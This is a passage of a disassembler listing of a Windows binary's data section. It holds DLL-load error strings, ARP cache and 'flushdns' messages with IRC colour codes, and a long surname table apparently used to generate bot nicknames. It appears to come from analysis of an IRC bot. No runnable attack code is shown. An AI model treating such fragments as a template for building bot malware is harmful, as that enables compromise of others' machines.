aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+1FCo
align 10h
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A6BD+28o
align 4
a_: ; DATA XREF: sub_40D83A+13o
; sub_40FCD8+24Co
unicode 0, <.>,0
unk_42EB5C db 2Dh ; - ; DATA XREF: sub_40AA20:loc_40AAF1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42EB8C db 2Dh ; - ; DATA XREF: sub_40AA20:loc_40AABFo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42EBBC db 2Dh ; - ; DATA XREF: sub_40AA20:loc_40AA75o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 10h
unk_42EBE0 db 2Dh ; - ; DATA XREF: sub_40AA20+45o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AAF8+46o
; sub_40BE55+38o
aReal db 'real',0 ; DATA XREF: sub_40AF07+Fr
align 10h
dd 0
dword_42EC24 dd 0 ; DATA XREF: sub_40AF07:loc_40AF2Er
off_42EC28 dd offset sub_40ABA1 ; DATA XREF: sub_40AF07+4Ar
aConst db 'const',0
align 8
dd 1, 40AC0Dh, 7474656Ch, 7265h, 0
dd 2, 40AC6Bh, 706D6F63h, 2 dup(0)
dd 3, 40ACB8h, 6E756F63h, 797274h, 0
dd 4, 40AD27h, 736Fh, 2 dup(0)
dd 5, 40AD9Ch
off_42EC90 dd offset aAbdulrazak ; DATA XREF: sub_40ABA1+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
dd offset aAddison ; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
